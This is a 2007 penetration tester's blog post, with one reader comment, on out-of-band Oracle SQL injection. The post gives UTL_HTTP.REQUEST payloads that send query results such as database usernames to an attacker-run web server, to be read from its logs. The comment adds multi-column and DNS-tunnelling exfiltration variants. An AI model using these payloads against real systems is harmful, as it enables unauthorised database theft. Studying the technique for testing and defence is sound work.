Wednesday, August 15, 2007

Out-of-band Oracle SQL injection with HTTP Requests

I spent most of last week performing a web application assessment in the middle of nowhere, Alabama. After the mad fun at BlackHat and several weeks of unpleasant documentation work preceding it, it was a nice change to spend five peaceful days completely focused on testing an interesting system.

This was an internal application, so I wasn't surprised to find that it was vulnerable to SQL injection in several areas. However, in-band injection attacks weren't working for the application I was testing - I couldn't use UNION SELECTs, for example, to merge my query results with data rendered in the browser. So I had to leverage an out-of-band technique for retrieving data through SQL injection: Oracle's UTL_HTTP.REQUEST function. David Litchfield mentioned this approach almost two years ago in Data-mining with SQL Injection and Inference, but I never had the need to use it "in the wild" until now.

UTL_HTTP is a built-in Oracle SQL function that issues HTTP requests. The syntax is pretty simple: 

URL_HTTP.REQUEST('http://www.foo.com/index.php'
returns the first 2000 bytes from the provided URL. But the clever bit is that you can concatenate the URL with another SQL statement, the results of which will become part of the request.

For example, consider the following SQL:

UTL_HTTP.REQUEST('http://www.foo.com:80/'||(SELECT USERNAME FROM DBA_USERS WHERE ROWNUM=1))

The SELECT statement returns the value "SYS" - the first user in the DBA_USERS table. The HTTP request issued by the database is therefore for the URL "http://www.foo.com:80/SYS". In www.foo.com's HTTP access log, the request would look like:

158.72.4.21 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -
(assuming 158.72.4.21 is our target DB server)

So as an attacker, you simply need to run a web server and point the UTL_HTTP.REQUESTs to your own IP address. You can then view the result of each SQL injection in your server logs. If in Windows, I like to use SHTTPD as it is lightweight and simple to turn on and off.

The biggest limitation to this approach is that you can only query for one row at a time - you'll get an error message if your statement returns multiple rows. (That is due to the UTL_HTTP.RQUEST function itself, not the web server end). But it is still a lot more efficient then using blind SQL injection to brute force one character of a response at a time. Oracle will also throw an error if it can't reach your web server, which may be the case depending on network controls between yourself and the database.  Experiment with running on different ports.

There are probably a few things you could do to make the attack more elegant, like setting up a CGI script on your server to better collect and parse the calls from the database. You could also create and inject a PL/SQL function that concatenates results from multiple rows to get around the single-row limitation. I needed a quick and dirty solution to get a few key database records, so I didn't bother venturing beyond the basics for this test.

Outbound HTTP requests originating from a database server should look suspicious, but I think the attack is obscure enough to slip by most admins.

1 comment:

Brad said...

I read your post and found it very handy on a recent pentest. Some things to add: You can concatenate your columns together into a single string to be returned to get around the limitations you're describing. e.g. utl_http.request('http://yourserver.com/'|| (select column1||','||column2||','||column3||'__NEWLINE__' from table)) and then parse your web logs accordingly.

Also, in a pinch, if you don't have direct outbound access to your system from the database (often the case), you can do some basic DNS tunneling by putting your data in sub 255 character chunks in the the subdomain field. e.g. utl_http.request('http://|| (select user from dual) ||.yourserver.com'). Sniff on UDP 53 of yourserver.com's DNS server, and you can see the data that way.